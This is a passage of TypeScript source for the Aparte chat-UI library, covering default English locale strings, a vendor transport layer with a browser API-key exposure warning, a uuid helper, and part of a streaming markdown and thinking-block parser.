\"Yes\") */\n elicitationYes?: string;\n /** Negative choice of a yes/no question (default: \"No\") */\n elicitationNo?: string;\n /** Last-resort accessible name for a free-text answer (default: \"Your answer\") */\n elicitationAnswerLabel?: string;\n /**\n * Placeholder for the free-text arm of an approval (default: \"Or tell it what to\n * do instead…\").\n *\n * The refusal's REASON, in the user's words, which the model reads because a\n * refusal hands it a turn.\n */\n approvalInstructionPlaceholder?: string;\n /**\n * The question an approval asks (default: \"Run {tool}?\").\n *\n * `{tool}` is replaced with the tool's name. A placeholder rather than three\n * concatenated fragments, because word order is the first thing a translation\n * changes and \"Run\" + name + \"?\" only works in English.\n */\n approvalAsk?: string;\n /**\n * Accessible name of the viewport's scroll-to-bottom button (default:\n * \"Scroll to bottom\").\n *\n * The button is icon-only, so this string is the whole of what a screen-reader\n * user hears there.\n */\n scrollToBottom?: string;\n /**\n * Accessible name of the `<aparte-suggestions>` group of prompt starters. Optional\n * for the same reason as the keys above: a locale written before the element existed\n * keeps working, and the built-in English fills the gap.\n */\n suggestionsLabel?: string;\n /** Accessible name of the `<aparte-context>` gauge. Optional, like the keys above. */\n contextLabel?: string;\n /**\n * Title line of the summary message `@aparte/plugin-compaction` injects in place\n * of the summarised turns (default: \"Conversation summary\"). The plugin reads it\n * through `config.t()`, so the notice follows the locale like every other string\n * the user reads.\n */\n compactionSummaryTitle?: string;\n /**\n * What the pill says while the decision is being made elsewhere (default:\n * \"Waiting\").\n *\n * The pill is the anchor, not the control — so it has to say WHY nothing is\n * happening. A pill that just sits there while the answer is expected at the\n * composer is the one thing this placement can get wrong.\n */\n approvalWaiting?: string;\n /**\n * The words in a tool call's state badge.\n *\n * A WORD and not only a glyph, which is what every current implementation shows\n * (\"Pending\", \"Running\", \"Completed\", \"Error\"). A bare cross beside a name reads as\n * a button that removes something: a state must not be mistaken for an\n * affordance.\n */\n toolRunning?: string;\n toolCompleted?: string;\n toolRejected?: string;\n toolStopped?: string;\n /** The tool row's word when the handler threw — a crash, not a refusal nor a stop (default: \"Failed\"). */\n toolFailed?: string;\n /** Label above a tool call's arguments (default: \"Input\") */\n toolInput?: string;\n /** Label above a tool call's result (default: \"Output\") */\n toolOutput?: string;\n /** Accessible name for the group of approval options (default: \"Your decision\") */\n approvalOptionsLabel?: string;\n /**\n * Heading over the call's arguments in the approval panel (default: \"Arguments\").\n *\n * The arguments are the thing actually being approved, so the panel shows them\n * under this heading. Same word family as {@link toolInput} and deliberately not\n * that key: that one heads a section of a transcript row, this one heads a\n * decision.\n */\n approvalArgsLabel?: string;\n\n /**\n * The composer's attach-file button (default: \"Attach file\").\n *\n * Read by `aparte-composer-add-attachment` as `t('actionUpload')`.\n */\n actionUpload?: string;\n /**\n * The ✕ on a pending attachment, named after the file it drops (default:\n * \"Remove {name}\").\n *\n * `{name}` is substituted with the file's own name — the convention\n * `approvalAsk` and `deleteConversationConfirm` already use. The button is\n * icon-only, so this string is the whole of what a screen-reader user hears.\n */\n removeAttachment?: string;\n /**\n * The accessible name of a message whose bubble carries a `name` — a human agent, a\n * second assistant (default: \"Message from {name}\"). `{name}` is that name. Without one\n * the bubble is named after its role: `yourMessage` or `assistantResponse`.\n */\n messageFrom?: string;\n\n // --- The searchable <aparte-select>, the primitive the model selector wears ---\n /**\n * Placeholder of a searchable select's filter field (default: \"Search…\").\n *\n * VISIBLE text, which is what separates it from most of this file.\n */\n selectSearchPlaceholder?: string;\n /** Accessible name of that filter field, which has no visible label (default: \"Search options\") */\n selectSearchLabel?: string;\n /** What an option group shows while its options are being fetched (default: \"Loading…\") */\n loading?: string;\n\n // --- Plugin chrome — read by `@aparte/plugin-model-selector` and\n // `@aparte/plugin-approval`, declared here for the same reason as the Artifacts\n // block below: a locale package translates one bag, not one per plugin. ---\n /**\n * The `<aparte-model-selector>` trigger before a model is picked (default:\n * \"Select a model...\"). The one string that element takes from the locale.\n */\n modelSelectorPlaceholder?: string;\n /**\n * Accessible name of `@aparte/plugin-approval`'s mode switch (default: \"Approval\n * mode\"). The switch is an `<aparte-select>` with no visible label, so this string\n * is the whole of what a screen-reader user hears there.\n */\n approvalModeLabel?: string;\n\n // --- Artifacts — read by `@aparte/plugin-artifacts`, which draws the card. The\n // strings stay here because the locale is data every package shares (the\n // approval and ask-user plugins' keys live here too), and a locale package\n // translates one bag, not one per plugin. ---\n /**\n * The artifact card's download button (default: \"Download\").\n *\n * Like `stopButton`, this string is a `title` and an `aria-label` on an\n * icon-only button.\n */\n download?: string;\n /** The artifact card's Open button, when the app asked for it (default: \"Open\") */\n openArtifact?: string;\n /** A model's context window under its name in the model selector's `details` — `{n}` is the size (default: \"{n} context\") */\n modelContextWindow?: string;\n /**\n * The artifact card's two tabs (defaults: \"Preview\" / \"Code\").\n *\n * These two are visible text on the card.\n */\n preview?: string;\n code?: string;\n /**\n * A binary artifact being produced, and the same artifact's preview being rebuilt\n * after a reload (defaults: \"Generating…\" / \"Rebuilding preview…\").\n *\n * Both are read by `@aparte/plugin-artifacts`: `generating` is the subtext of a binary\n * artifact being produced and the `aria-label` of the artifact card's streaming pulse.\n */\n generating?: string;\n rebuildingPreview?: string;\n /**\n * What the preview pane says before anybody presses Preview (default: \"Press\n * Preview to run this artifact.\").\n *\n * The pane is empty on purpose — a previewable artifact is model-authored code\n * and mounting it unasked would execute it — so this sentence is the whole of\n * what the reader sees there.\n */\n previewPending?: string;\n /**\n * A binary artifact whose sandbox run failed: the heading, and the hint under it\n * (defaults: \"The sandbox failed during generation.\" / \"Common cause: …\").\n *\n * The message BETWEEN them is the sandbox's own error text and stays untranslated\n * on purpose — it is the tool's output, not the library's copy.\n */\n sandboxError?: string;\n sandboxErrorHint?: string;\n\n // --- Metadata ---\n /**\n * BCP-47 language tag for `Intl` formatting — `'fr-FR'`, `'ja-JP'`, `'en-US'`.\n *\n * A locale is otherwise a bag of STRINGS, and a clock is not a string: it is a\n * format. The tag is what the library's `Intl` calls (the timestamp above every\n * message) use, instead of the BROWSER's locale, which is not necessarily the\n * locale the app chose.\n *\n * A tag and NOT an `hour12` flag, deliberately. A flag answers one question for\n * one call site; a tag answers every question `Intl` can be asked — hour cycle,\n * date order, month names, decimal separator, relative time, list joining — for\n * every locale, including the ones nobody here can enumerate. `direction` next\n * door is the precedent: this section holds how a language BEHAVES, not what its\n * words are.\n *\n * Undefined on purpose in the English default: `undefined` means \"follow the\n * browser\", which is the right default for a library. A locale that declares a tag pins the formatting — if you\n * have chosen French strings, French formatting is what you meant.\n */\n tag?: string;\n /**\n * Reading direction — `'ltr'` or `'rtl'`. Written as `dir` onto the viewport's\n * scroll container and onto `<aparte-composer>`, so everything inside inherits it.\n *\n * Undefined on purpose in the English default, for the reason `tag` above is:\n * `undefined` means \"follow the host\": core writes no `dir` of its own, so the\n * host's direction (`<html dir=\"rtl\">`) inherits, which is what a library should\n * do with a decision the page has already taken.\n *\n * A locale that wants the direction PINNED still declares it, and that is the\n * case it exists for: `@aparte/locale-ar` would say `'rtl'` whatever the page\n * around it does. `setLocale` replaces the object wholesale, so nothing merges a\n * default back in.\n */\n direction?: 'ltr' | 'rtl';\n};\n\n/**\n * The extension half: any other key a plugin or an app wants to carry.\n *\n * Kept separate from {@link AparteLocale} on purpose: an index signature on\n * `AparteLocale` itself would widen `keyof AparteLocale` to `string`, so `t()` would\n * typecheck every literal and a misspelled key would render an empty label with no\n * error.\n *\n * The two halves: {@link AparteLocale} is CLOSED — it is the list\n * `t()` keys on — and this is the open bag beside it. {@link AparteConfig.setLocale}\n * and {@link AparteConfig.extendLocale} accept the intersection, so a plugin still\n * ships its own strings in the same object; only `t()` stays narrow, which is where\n * the typo has to be caught.\n */\nexport type AparteLocaleExtensions = Record<string, string | undefined>;\n\n/**\n * Default English Locale (Zero-dependency)\n * Hardcoded to ensure the core works out-of-the-box.\n */\nexport const APARTE_DEFAULT_LOCALE: AparteLocale = {\n inputPlaceholder: \"Type a message...\",\n sendButton: \"Send\",\n copy: \"Copy\",\n copied: \"Copied!\",\n retry: \"Retry\",\n thinking: \"Thinking\",\n elicitationOther: \"Other…\",\n elicitationOtherPlaceholder: \"Type your answer…\",\n elicitationOtherLabel: \"Custom answer\",\n submitButton: \"Submit\",\n stopButton: \"Stop\",\n elicitationRecommended: \"Recommended\",\n elicitationSkip: \"Skip\",\n elicitationHide: \"Hide for now\",\n elicitationWaiting: \"Waiting for your answer\",\n elicitationYes: \"Yes\",\n elicitationNo: \"No\",\n elicitationAnswerLabel: \"Your answer\",\n approvalInstructionPlaceholder: \"Or tell it what to do instead…\",\n approvalAsk: \"Run {tool}?\",\n approvalWaiting: \"Waiting\",\n scrollToBottom: \"Scroll to bottom\",\n suggestionsLabel: \"Suggested prompts\",\n contextLabel: \"Context window\",\n compactionSummaryTitle: \"Conversation summary\",\n toolRunning: \"Running\",\n toolCompleted: \"Done\",\n toolRejected: \"Rejected\",\n toolStopped: \"Stopped\",\n toolFailed: \"Failed\",\n toolInput: \"Input\",\n toolOutput: \"Output\",\n approvalOptionsLabel: \"Your decision\",\n approvalArgsLabel: \"Arguments\",\n actionUpload: \"Attach file\",\n removeAttachment: \"Remove {name}\",\n messageFrom: \"Message from {name}\",\n selectSearchPlaceholder: \"Search…\",\n selectSearchLabel: \"Search options\",\n loading: \"Loading…\",\n download: \"Download\",\n openArtifact: \"Open\",\n modelContextWindow: \"{n} context\",\n previewPending: \"Press Preview to run this artifact.\",\n sandboxError: \"The sandbox failed during generation.\",\n sandboxErrorHint: \"Common cause: the model produced invalid code (undefined variable, wrong argument type). Retry the request — the model may produce different code.\",\n preview: \"Preview\",\n code: \"Code\",\n generating: \"Generating…\",\n rebuildingPreview: \"Rebuilding preview…\",\n typing: \"Typing\",\n error: \"Error\",\n running: \"Running...\",\n run: \"Run\",\n file: \"File\",\n modelSelectorPlaceholder: \"Select a model...\",\n approvalModeLabel: \"Approval mode\",\n roleNameUser: \"You\",\n roleNameAssistant: \"Assistant\",\n yourMessage: \"Your message\",\n assistantResponse: \"Assistant response\",\n messageActions: \"Message actions\",\n edit: \"Edit message\",\n editConfirm: \"Send\",\n editCancel: \"Cancel\",\n feedbackPositive: \"Good response\",\n feedbackNegative: \"Bad response\",\n previousResponse: \"Previous response\",\n nextResponse: \"Next response\",\n approveTool: \"Approve\",\n rejectTool: \"Reject\",\n messageInfo: \"Details\",\n newChat: \"New Chat\",\n loadingConversations: \"Loading conversations\",\n conversationSearchEmpty: \"No conversation matches\",\n conversationList: \"Conversations\",\n loadingConversation: \"Loading the conversation\",\n deleteConversation: \"Delete\",\n archiveConversation: \"Archive\",\n unarchiveConversation: \"Unarchive\",\n conversationActions: \"Conversation actions\",\n renameConversation: \"Rename\",\n conversationTitle: \"Conversation title\",\n pinConversation: \"Pin\",\n unpinConversation: \"Unpin\",\n deleteConversationConfirm: \"Delete “{title}”?\",\n cancel: \"Cancel\",\n conversationGroupPinned: \"Pinned\",\n conversationGroupToday: \"Today\",\n conversationGroupYesterday: \"Yesterday\",\n conversationGroupWeek: \"Previous 7 days\",\n conversationGroupMonth: \"Previous 30 days\",\n scrollRailLabel: \"Conversation outline\",\n sidebarLabel: \"Conversations\",\n splitHandleLabel: \"Resize the panes\",\n transcript: \"Transcript\"\n};\n","/**\n * Transport seam — separates two concerns of a provider:\n *\n * • **Format adapter** (`AparteFormatAdapter`): the vendor-specific concern —\n * how to shape the HTTP request and how to parse the response stream into\n * unified `AparteStreamEvent`s. No network, no auth, no key.\n * • **Transport** (`AparteTransport`): WHERE the call goes and how auth is\n * handled — straight to the vendor from the browser (`AparteDirectTransport`,\n * BYOK/local) or via your own backend that holds the key\n * (`AparteBackendTransport`, recommended for production).\n *\n * A provider exposes EITHER the format-adapter surface OR a legacy monolithic\n * `chat()` (fetch + key + parse); the transports handle both.\n */\nimport type { AparteChatRequest, AparteChatResponse, AparteStreamEvent } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport { AparteError, AparteErrorCode } from '../types/errors.js';\n\n/** A vendor HTTP request built from an Aparte request — auth is injected separately. */\nexport interface AparteVendorRequest {\n /** Appended to the transport's endpoint, e.g. `/chat/completions`. */\n path: string;\n /** Vendor-shaped JSON body. */\n body: unknown;\n /** Content headers (NOT auth — the transport adds auth). */\n headers?: Record<string, string>;\n}\n\n/** The vendor-format concern, with no transport/auth coupling. */\nexport interface AparteFormatAdapter {\n id: string;\n /** Base URL for browser-direct calls (overridable per request via config). */\n defaultEndpoint: string;\n /** Map an Aparte request to the vendor HTTP request (without auth). */\n buildRequest(request: AparteChatRequest): AparteVendorRequest;\n /** Vendor auth headers for a resolved key (browser-direct only). Most vendors. */\n authHeaders?(key: string): Record<string, string>;\n /** Vendor auth as URL query params for a resolved key (e.g. Gemini `?key=`). */\n authQuery?(key: string): Record<string, string>;\n /** Parse a streaming vendor response body into unified events. */\n parseStream(body: ReadableStream<Uint8Array>): ReadableStream<AparteStreamEvent>;\n /** Extract text from a non-streaming vendor JSON response. */\n parseText?(json: unknown): string;\n}\n\nexport interface AparteTransportContext {\n providerId: string;\n signal?: AbortSignal;\n}\n\n/**\n * Decides where a chat request goes and how auth is handled. Given a provider\n * (adapter or legacy), the request, and the already-resolved auth, it returns\n * unified events (streaming) or a string (non-streaming).\n */\nexport interface AparteTransport {\n chat(\n provider: AparteAIProvider,\n request: AparteChatRequest,\n auth: string | Record<string, string> | undefined,\n ctx: AparteTransportContext,\n ): Promise<AparteChatResponse>;\n}\n\n/** True once a provider has been refactored to the format-adapter surface. */\nexport function isFormatAdapter(\n p: AparteAIProvider,\n): p is AparteAIProvider & Required<Pick<AparteFormatAdapter, 'buildRequest' | 'parseStream' | 'defaultEndpoint'>> {\n return (\n typeof p.buildRequest === 'function' &&\n typeof p.parseStream === 'function' &&\n typeof p.defaultEndpoint === 'string' &&\n (typeof p.authHeaders === 'function' || typeof p.authQuery === 'function')\n );\n}\n\n/** Read an api key / endpoint out of the legacy `string | Record` auth shape. */\nexport function readAuth(auth: string | Record<string, string> | undefined): { key?: string; endpoint?: string } {\n if (typeof auth === 'string') return { key: auth };\n if (auth && typeof auth === 'object') return { key: auth['apiKey'], endpoint: auth['endpoint'] };\n return {};\n}\n\n/** Best-effort human message from a non-ok vendor/backend JSON error response. */\nexport async function vendorErrorMessage(response: Response, label = 'HTTP'): Promise<string> {\n const body = await response.json().catch(() => ({} as Record<string, unknown>));\n const raw = (body as { error?: { message?: string } | string })?.error;\n const msg = typeof raw === 'object' ? raw?.message : raw;\n return typeof msg === 'string' && msg ? msg : `${label} ${response.status}`;\n}\n\n/**\n * The error a non-ok vendor/backend response becomes: the message the body carries\n * (or `${label} ${status}`), the status, and the code that status stands for, so a\n * 429 and a 503 are told apart by a listener.\n */\nexport async function vendorError(response: Response, label = 'HTTP'): Promise<AparteError> {\n const message = await vendorErrorMessage(response, label);\n const code = AparteError.codeForStatus(response.status) ?? AparteErrorCode.UNKNOWN_ERROR;\n return new AparteError(message, code, undefined, undefined, response.status);\n}\n\n/**\n * Resolve a non-streaming response to text via the adapter's `parseText`.\n * Both transports use this so `stream: false` behaves identically. It throws when the\n * adapter has no `parseText`.\n */\nexport async function parseNonStreamText(\n provider: { parseText?: (json: unknown) => string },\n response: Response,\n providerId: string,\n): Promise<string> {\n const json = await response.json();\n if (typeof provider.parseText !== 'function') {\n throw new Error(`Provider \"${providerId}\" cannot resolve a non-streaming response: parseText is not implemented.`);\n }\n return provider.parseText(json);\n}\n","import type { AparteChatRequest, AparteChatResponse } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport type { AparteTransport, AparteTransportContext } from './types.js';\nimport { isFormatAdapter, readAuth, vendorError, parseNonStreamText } from './types.js';\n\n/** Options for {@link AparteDirectTransport}. */\nexport interface DirectTransportOptions {\n /**\n * Set when the key is the end-user's own (BYOK) or the model runs locally —\n * i.e. you *intend* the credential to live in the browser. This silences the\n * one-time insecure-key warning. Leave it unset for keys that must stay\n * server-side, and use `AparteBackendTransport` for those instead.\n */\n byok?: boolean;\n}\n\n/**\n * Browser-direct transport (BYOK / local / prototyping) — the DEFAULT.\n *\n * Calls the vendor endpoint straight from the browser, injecting the resolved\n * key via the adapter's `authHeaders`. This is the pre-refactor behaviour and\n * is only safe when the user brings their own key or the model runs locally.\n * Production apps that must keep a key server-side should use `AparteBackendTransport`.\n *\n * When a real key is sent straight from the browser and the transport was not\n * flagged `{ byok: true }`, a one-time `console.warn` names the exposure — the\n * default should be loud, not silent. Local providers (no key) never warn.\n *\n * Legacy providers (still exposing `chat()` rather than the adapter surface) are\n * delegated to untouched, so the migration can proceed provider-by-provider.\n */\nexport class AparteDirectTransport implements AparteTransport {\n private readonly byok: boolean;\n private warnedBrowserKey = false;\n\n constructor(options: DirectTransportOptions = {}) {\n this.byok = options.byok ?? false;\n }\n\n async chat(\n provider: AparteAIProvider,\n request: AparteChatRequest,\n auth: string | Record<string, string> | undefined,\n ctx: AparteTransportContext,\n ): Promise<AparteChatResponse> {\n // A real credential is about to leave the browser toward the vendor.\n // Warn once unless the caller opted into BYOK/local on purpose. Hoisted\n // above the adapter/legacy split: a legacy `chat()` provider (or an\n // SDK bridge) carrying a key exposes it exactly the same way — the\n // transport just isn't the one attaching it. Keyless locals never warn.\n const { key, endpoint } = readAuth(auth);\n if (!this.byok && key) {\n this.warnBrowserKeyOnce(ctx.providerId);\n }\n\n // Not yet a format adapter → let the provider own its fetch+parse.\n // Forward ctx so the provider can honor the abort signal (a bridge\n // wraps it into its SDK call; TransformersProvider simply ignores it).\n if (!isFormatAdapter(provider)) {\n if (typeof provider.chat !== 'function') {\n throw new Error(`Provider \"${ctx.providerId}\" exposes neither a format-adapter surface nor chat().`);\n }\n return provider.chat(request, auth, ctx);\n }\n\n const base = endpoint || provider.defaultEndpoint;\n const built = provider.buildRequest(request);\n\n let url = `${base}${built.path}`;\n const headers: Record<string, string> = { 'Content-Type': 'application/json', ...built.headers };\n if (key && provider.authHeaders) Object.assign(headers, provider.authHeaders(key));\n if (key && provider.authQuery) {\n const qs = new URLSearchParams(provider.authQuery(key)).toString();\n url += (url.includes('?') ? '&' : '?') + qs;\n }\n\n const response = await fetch(url, {\n method: 'POST',\n headers,\n body: JSON.stringify(built.body),\n signal: ctx.signal,\n });\n\n if (!response.ok) {\n throw await vendorError(response);\n }\n\n if (request.stream === false) {\n return parseNonStreamText(provider, response, ctx.providerId);\n }\n if (!response.body) {\n throw new Error(`Provider \"${ctx.providerId}\" returned no response body for a streaming request.`);\n }\n return provider.parseStream(response.body);\n }\n\n private warnBrowserKeyOnce(providerId: string): void {\n if (this.warnedBrowserKey) return;\n this.warnedBrowserKey = true;\n console.warn(\n `[Aparte] AparteDirectTransport is sending the \"${providerId}\" API key straight from the browser — ` +\n `it is visible to anyone who opens devtools. Fine for BYOK or local models: pass ` +\n `new AparteDirectTransport({ byok: true }) to silence this. For a server-held key, use ` +\n `AparteBackendTransport so the key never reaches the client.`,\n );\n }\n}\n","/**\n * A unique id, in every context the library actually runs in.\n *\n * `crypto.randomUUID` is **secure-context only**. On `http://` — which includes\n * `http://192.168.1.x`, the archetypal deployment for this library's own audience\n * (bring-your-own-key, a local model on the LAN box) — it does not exist, and\n * calling it throws `TypeError: crypto.randomUUID is not a function`.\n *\n * The fallback is NOT cryptographic and does not need to be: these ids address\n * DOM nodes and map keys inside one page. Where a real UUID matters (a persisted\n * conversation id a consumer may treat as stable), `crypto.randomUUID` is still\n * used first, so a secure context gets the strong value.\n */\nexport function uuid(): string {\n // In this repo, `pnpm check:secure-context` refuses a bare `crypto.randomUUID` anywhere but here.\n if (typeof crypto !== 'undefined' && typeof crypto.randomUUID === 'function') {\n return crypto.randomUUID();\n }\n // Enough entropy to not collide within a page, and cheap.\n return `${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 10)}`;\n}\n","/**\n * AparteStreamParser\n * \n * Real-time markdown stream parser for AI/LLM responses.\n * Detects code blocks, thinking blocks, and other patterns during streaming.\n * \n * Supported patterns:\n * - ```language\\ncode\\n``` → AparteCodeSegment\n * - Plain text → AparteTextSegment\n * - <think>…</think> or <thinking>…</thinking> → AparteThinkingSegment (configurable)\n */\n\nimport type { AparteStreamBlock } from '../types/stream-blocks.js';\nimport type {\n AparteSegment,\n AparteTextSegment,\n AparteCodeSegment,\n AparteThinkingSegment,\n} from '../types/index.js';\nimport { uuid } from '../utils/uuid.js';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Types\n// ─────────────────────────────────────────────────────────────────────────────\n\n/** One inline thinking-block delimiter pair (open/close tag). */\nexport interface AparteThinkingDelimiterPair {\n start: string;\n end: string;\n}\n\nexport interface AparteStreamParserOptions {\n /**\n * Inline thinking-block delimiters — for a model that streams its reasoning\n * *inline in the content* (rather than on a separate reasoning channel).\n * Accepts one pair or several; the parser opens a thinking segment at\n * whichever pair appears first. Default recognizes BOTH common conventions:\n * `<think>…</think>` (DeepSeek-R1, QwQ, most local GGUF reasoning models) and\n * `<thinking>…</thinking>` (Claude-style). Pass your own to override.\n */\n thinkingDelimiters?: AparteThinkingDelimiterPair | AparteThinkingDelimiterPair[];\n /**\n * Tagged blocks to recognise in the prose — `<tag attr=\"…\">…</tag>` — each turned\n * into the segment its grammar builds. The stream adapter passes the blocks\n * registered on the config (`registerStreamBlock`); pass your own when you drive\n * the parser yourself. See {@link AparteStreamBlock}.\n */\n blocks?: AparteStreamBlock[];\n /** Auto-generate segment IDs (default: true) */\n autoGenerateIds?: boolean;\n /** ID prefix for generated segments */\n idPrefix?: string;\n}\n\n/** Recognized out of the box so local reasoning models \"just work\" (no config). */\nconst DEFAULT_THINKING_DELIMITERS: AparteThinkingDelimiterPair[] = [\n { start: '<think>', end: '</think>' },\n { start: '<thinking>', end: '</thinking>' },\n];\n\nexport interface AparteParserState {\n /** Current parser mode */\n mode: 'text' | 'code' | 'thinking' | 'block';\n /** Buffer for incomplete patterns */\n buffer: string;\n /** Current code block language */\n codeLanguage?: string;\n /** Close delimiter of the thinking pair currently open (multi-delimiter support) */\n thinkingEnd?: string;\n /** Closing tag of the registered block currently open (`</tag>`). */\n blockEnd?: string;\n /** Accumulated segments */\n segments: AparteSegment[];\n /** Current active segment being built */\n activeSegment: AparteSegment | null;\n /** Counter for generating IDs */\n segmentCounter: number;\n}\n\nexport interface AparteParserResult {\n /** Parsed segments */\n segments: AparteSegment[];\n /** Remaining buffer (incomplete patterns) */\n remaining: string;\n /** Current parser state */\n state: AparteParserState;\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// AparteStreamParser Class\n// ─────────────────────────────────────────────────────────────────────────────\n\nexport class AparteStreamParser {\n private _options: Required<Pick<AparteStreamParserOptions, 'autoGenerateIds' | 'idPrefix'>>;\n /** Normalized to an array; the parser matches whichever pair opens first. */\n private _thinkingDelimiters: AparteThinkingDelimiterPair[];\n /** The registered block grammars, in registration order. */\n private _blocks: AparteStreamBlock[];\n private _state: AparteParserState;\n /**\n * A block already BUILT and waiting for its turn to be emitted — a self-closing\n * tag that followed prose, whose text run has to go out first. One segment per\n * step, but `toSegment` is still called exactly once, as `AparteStreamBlock`\n * documents: re-reading the tag on the next step called a consumer's grammar\n * twice for one tag.\n */\n private _pendingSegment: AparteSegment | null = null;\n\n constructor(options: AparteStreamParserOptions = {}) {\n const delims = options.thinkingDelimiters;\n this._thinkingDelimiters = delims\n ? (Array.isArray(delims) ? delims : [delims])\n : DEFAULT_THINKING_DELIMITERS;\n this._blocks = options.blocks ?? [];\n this._options = {\n autoGenerateIds: options.autoGenerateIds ?? true,\n idPrefix: options.idPrefix ?? 'seg'\n };\n\n this._state = this._createInitialState();\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Public API\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Parse a chunk of streamed content\n * Call this for each chunk received from the LLM\n */\n parse(chunk: string): AparteParserResult {\n this._state.buffer += chunk;\n\n const completedSegments: AparteSegment[] = [];\n\n // `_pendingSegment` in the condition: a self-closing tag that ends the buffer\n // leaves the block itself waiting behind the text run it followed, and an\n // empty buffer must not end the chunk before it is emitted.\n while (this._state.buffer.length > 0 || this._pendingSegment) {\n const parsed = this._parseNext();\n\n if (!parsed) {\n // No complete pattern found, keep buffer for next chunk\n break;\n }\n\n if (parsed.segment) {\n completedSegments.push(parsed.segment);\n }\n\n this._state.buffer = parsed.remaining;\n }\n\n return {\n segments: completedSegments,\n remaining: this._state.buffer,\n state: { ...this._state }\n };\n }\n\n /**\n * Finalize parsing - flush any remaining content as text\n */\n finalize(): AparteSegment[] {\n const finalSegments: AparteSegment[] = [];\n\n // An unwrapped ```markdown block leaves its trailing close fence in the\n // text stream — strip a dangling ``` so it never renders as a stray\n // empty code block at the very end of the reply.\n const stripTrailingFence = (s: string): string => s.replace(/\\n?```[ \\t]*$/, '');\n\n // If we have an active segment, complete it\n if (this._state.activeSegment) {\n if ('content' in this._state.activeSegment) {\n const seg = this._state.activeSegment as { type: string; content: string };\n let content = seg.content + this._state.buffer;\n // `code` too: a reply ending on ``` with no newline before it stays in\n // code mode until here (the mid-stream shortcut that closed it is gone),\n // and the fence must not land inside the block as three literal backticks.\n if (seg.type === 'text' || seg.type === 'code') content = stripTrailingFence(content);\n seg.content = content;\n }\n finalSegments.push(this._closed(this._state.activeSegment));\n this._state.activeSegment = null;\n } else if (this._state.buffer.trim()) {\n // Remaining buffer becomes text segment\n finalSegments.push(this._closed(this._createTextSegment(stripTrailingFence(this._state.buffer))));\n }\n\n // The reply is over, and so is the mode it ended in. This class is a public\n // export and reusable, and a reply cut off inside a fence, a reasoning block\n // or a registered block used to leave `mode` armed with a closing delimiter\n // that would never come — so the first characters of the NEXT reply were\n // eaten by it, silently. (The built-in client is not the caller that hits it:\n // `createStreamAdapter` builds a fresh parser on every `turn-start`. A\n // consumer keeping one across replies is.) Unconditional: the `.trim()`\n // branch above can leave whitespace in the buffer.\n this._state.mode = 'text';\n this._state.buffer = '';\n this._state.codeLanguage = undefined;\n this._state.thinkingEnd = undefined;\n this._state.blockEnd = undefined;\n\n return finalSegments;\n }\n\n /**\n * Reset parser state\n */\n reset(): void {\n this._state = this._createInitialState();\n this._pendingSegment = null;\n }\n\n /**\n * Get current parser state (for debugging/inspection)\n */\n getState(): Readonly<AparteParserState> {\n return { ...this._state };\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Private Parsing Logic\n // ─────────────────────────────────────────────────────────────────────────\n\n private _parseNext(): { segment: AparteSegment | null; remaining: string } | null {\n if (this._pendingSegment) {\n const segment = this._pendingSegment;\n this._pendingSegment = null;\n return { segment, remaining: this._state.buffer };\n }\n\n const buffer = this._state.buffer;\n\n switch (this._state.mode) {\n case 'text':\n return this._parseTextMode(buffer);\n case 'code':\n return this._parseCodeMode(buffer);\n case 'thinking':\n return this._parseThinkingMode(buffer);\n case 'block':\n return this._parseBlockMode(buffer);\n default:\n return null;\n }\n }\n\n private _parseTextMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n // Check for code block start: ```\n const codeBlockStart = buffer.indexOf('```');\n\n // Check for thinking block start — earliest match across all recognized\n // delimiter pairs (e.g. <think> vs <thinking>).\n let thinkingStart = -1;\n for (const p of this._thinkingDelimiters) {\n const i = buffer.indexOf(p.start);\n if (i !== -1 && (thinkingStart === -1 || i < thinkingStart)) thinkingStart = i;\n }\n\n // Registered blocks: the earliest whole-tag match wins, like the delimiters.\n // A `<tag` cut at the end of the buffer is not a match yet — the next chunk\n // decides whether it is `<tag>` or `<tagline>` — so it is held back below.\n let blockStart = -1;\n let blockHit: AparteStreamBlock | undefined;\n for (const b of this._blocks) {\n const i = this._indexOfTag(buffer, b.tag);\n if (i !== -1 && (blockStart === -1 || i < blockStart)) { blockStart = i; blockHit = b; }\n }\n\n // Determine which pattern comes first\n const patterns: { type: 'code' | 'thinking' | 'block'; index: number }[] = [];\n if (codeBlockStart !== -1) patterns.push({ type: 'code', index: codeBlockStart });\n if (thinkingStart !== -1) patterns.push({ type: 'thinking', index: thinkingStart });\n if (blockStart !== -1) patterns.push({ type: 'block', index: blockStart });\n\n patterns.sort((a, b) => a.index - b.index);\n\n if (patterns.length === 0) {\n // No special patterns found\n // Check if buffer might be start of a pattern (keep it for next chunk)\n if (buffer.endsWith('`') || buffer.endsWith('``') ||\n this._thinkingDelimiters.some(p => this._isPartialMatch(buffer, p.start)) ||\n // `<ta`, and also the whole `<tag` with nothing after it yet.\n this._blocks.some(b => this._isPartialMatch(buffer, '<' + b.tag) || buffer.endsWith('<' + b.tag))) {\n return null; // Keep buffer, wait for more data\n }\n\n // No pattern starting. Just accumulate text in active segment.\n if (!this._state.activeSegment || this._state.activeSegment.type !== 'text') {\n this._state.activeSegment = this._createTextSegment('');\n }\n\n (this._state.activeSegment as AparteTextSegment).content += buffer;\n return { segment: null, remaining: '' };\n }\n\n const firstPattern = patterns[0]!;\n\n // If pattern is NOT at index 0, accumulate the text before it\n if (firstPattern.index > 0) {\n const textContent = buffer.slice(0, firstPattern.index);\n if (!this._state.activeSegment || this._state.activeSegment.type !== 'text') {\n this._state.activeSegment = this._createTextSegment(textContent);\n } else {\n (this._state.activeSegment as AparteTextSegment).content += textContent;\n }\n // Return nothing yet, let the next loop handle the pattern at index 0\n return { segment: null, remaining: buffer.slice(firstPattern.index) };\n }\n\n // Pattern is at the start index 0. Finish current text segment if any.\n let segmentToEmit: AparteSegment | null = null;\n if (this._state.activeSegment && this._state.activeSegment.type === 'text') {\n // The text is over BECAUSE something else is starting — an end as\n // definite as a closing delimiter.\n segmentToEmit = this._closed(this._state.activeSegment);\n this._state.activeSegment = null;\n }\n\n // Every branch below can fail to start its block because the opening line\n // is not complete yet (a tokenizer routinely splits ``` from its language\n // tag). When that happens the text segment 